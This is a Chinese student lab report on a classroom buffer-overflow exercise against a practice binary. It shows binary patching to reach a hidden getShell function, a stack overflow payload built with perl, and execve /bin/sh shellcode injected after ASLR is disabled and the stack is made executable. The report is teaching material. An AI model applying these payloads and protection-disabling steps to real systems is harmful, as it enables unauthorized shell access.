一、实验目的
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
二、实验内容
1.掌握反汇编与十六进制编程器
2.能正确修改机器指令改变程序执行流程
3.能正确构造payload进行bof攻击
三、基础知识
1.NOP, JNE, JE, JMP, CMP汇编指令的机器码
(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2.反汇编
(1)由已生成的机器语言(二进制语言)转化为汇编语言的过程,也可以说是汇编的逆向过程
(2)在本次实验中,我在Linux环境下使用objdump反汇编工具对pwn20222301temp文件进行反汇编
(3)反汇编指令objdump -d <文件名>
3.十六进制编辑器
(1)十六进制编辑器是用于编辑单个字节数据的软件应用程序,主要由程序员或系统管理员使用。Linux系统中可以使用多种十六进制编辑器,在本次实验中我主要使用xxd,xxd 是一个命令行十六进制编辑器,可以创建二进制文件的十六进制转储。
(2)%!xxd 进入十六进制编辑模式
(3)%!xxd -r 切换回原模式
四、实验过程
1.直接修改程序机器指令,改变程序执行流程
通过共享文件夹将pwn1文件下载至kali中并将pwn1文件改名为pwn20222301,并运行程序,之后复制一份pwn20222301temp文件用于实验:
反汇编文件objdump -d pwn20222301temp | more,找到
第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
观察main函数发现,call 跳转到了foo函数,而根据对pwn20222301temp文件的运行测试发现,它只会简单回显任何用户输入的字符串。根据实验要求,我们需要修改可执行文件,改变程序执行流程,直接跳转到getShell函数。这里就需要修改主函数,想办法将call foo改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址804847d。
偏移量=8048491-80484ba=-41。补码表示为0xffffffd7,与第二列机器指令中的0xd7ffffff相吻合。由此可知,要想调用getShell,偏移量为0804847d(getShell函数的首地址)-80484ba=-61=0xffffff3c颠倒为计算机存储内容,为0xc3ffffff,即需要将0xd7ffffff修改为0xc3ffffff。
下面是修改过程:
vim pwn20222301temp 打开文件后为乱码
按esc键,输入:%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址
修改地址,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,并使用:wq命令保存退出;
反汇编objdump -d pwn20222301temp | more查看机器指令;
可以看到修改成功
./pwn20222301temp运行结果
成功获取shell,即成功调用了getShell函数
2.通过构造输入参数,造成BOF攻击,改变程序执行流
当程序调用时,会形成自己的栈帧,foo函数读入字符串,系统只预留了28字节的缓冲区,具有Bufferoverflow漏洞,我们可以通过向这个缓冲区输入超出长度的字符串来覆盖该返回地址,使返回地址指向getshell,达到攻击目的。
由之前反汇编结果可知,正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba。
先重新上传一个pwn1文件,命名为pwn20222301temp,用gdb pwn20222301temp调试程序,确认输入字符串哪几个字符会覆盖到返回地址。
输入字符串1111111122222222333333334444444412345678,输入命令 info r查看寄存器eip的值,发现输入的1234(十六进制0x34333231)为被覆盖到堆栈上的返回地址。那只要把这四个字符替换为 getShell 的内存地址,输给pwn20222301temp,就会运行getShell。
通过之前的反汇编可知getshall的内存地址为0x0804847d
把1234换成getShell的地址0x0804847d,我们需要构造字符串11111111222222223333333344444444\x7d\x84\x04\x08,
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input2生成一个包含这些16进制内容的文件(\x0a表示回车);
使用16进制查看指令xxd input查看input文件的内容,确认无误后使用(cat input;cat) | ./pwn202222temp将input中的字符串作为可执行文件的输入。
成功获取shell,即成功调用了getShell函数。
3.注入Shellcode并执行
(1)准备工作
一、下载安装execstack工具
二、通过以下命令修改设置
三、execstack -s pwn20222301cp1 //设置堆栈可执行
四、execstack -q pwn20222301cp1 //查询文件的堆栈是否可执行
五、more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
六、echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
七、more /proc/sys/kernel/randomize_va_space
(1)构造要使用的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入以下命令将input_shellcode的输入内容作为pwn20222301cp1的输入:
(cat input_shellcode; cat) | ./pwn20222301cp1
新打开一个新终端,输入ps -ef | grep pwn20222301cp1,查看pwn202222cp1文件的进程以及进程号。
可以看到,进程号分别为14572和15471,但是14572才是pwn文件的进程号。
此后,再在这个新终端中使用gdb进行调试,输入gdb pwn20222301cp1,来获取foo函数中returnaddress的位置。
输入命令attach 14572,输入刚刚查找的进程号
输入命令disassemble foo,反编译foo函数并进行分析
可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
输入命令break *0x080484ae
在新终端输入c,c表示continue继续运行,继续运行后,在老终端按一下enter键,否则新终端的continue将一直进行。
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffcfac;
使用x/16x 0xffffcfac命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址。
因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffcfac+4=0xffffcfb0。
现在可以进行shellcode的注入,最终获取shell。将0x04030201换成上述我们计算出来的位置0xffffcfe0,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./pwn20222301cp1,将input_shellcode的输入内容作为pwn20222301cp1的输入。
成功获取shell,即成功调用了getShell函数。
2.结合nc模拟远程攻击
安装两台虚拟机,将两台虚拟机的网路连接方式设置为桥接网卡模式。
主机1:模拟一个有漏洞的网络服务
主机2:连接主机1并发送攻击载荷
-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入。
成功获取shell,即成功调用了getShell函数,攻击成功。
五、实验中遇到的问题及解决![]
问题1:kali镜像未安装execstack工具
问题1解决方案:通过从Github网站下载安装包来解决这个问题,链接:https://github.com/alessandrocarminati/execstack。
问题2:在做实验4.5的nc模拟远程攻击,两台虚拟机处于不同网段无法连接。
问题2解决方案:将两台Linux虚拟机的网路连接方式都设置为桥接网卡模式,使两台虚拟机和主机都处于同一网络段中(192.168.3.0)。
六、实验体会
通过这次实验,我更深入地理解了缓冲区溢出的概念,并通过学习程序运行时的堆栈变化,实现了三种获取shell的方法。同时,我学会了安装kali Linux,对linux操作系统的语法有了基本了解,掌握了反汇编和十六进制编程器,能够阅读一部分汇编语言并理解部分程序实现步骤。此外,我还学会了使用gdb构造payload进行bof攻击。在实验过程中,我不断搜索资料,最终成功完成任务,提高了独立解决问题的能力。尽管还有很多不懂的地方,但我相信通过后续课程的学习,我会不断学到新知识,提高自己的专业水平。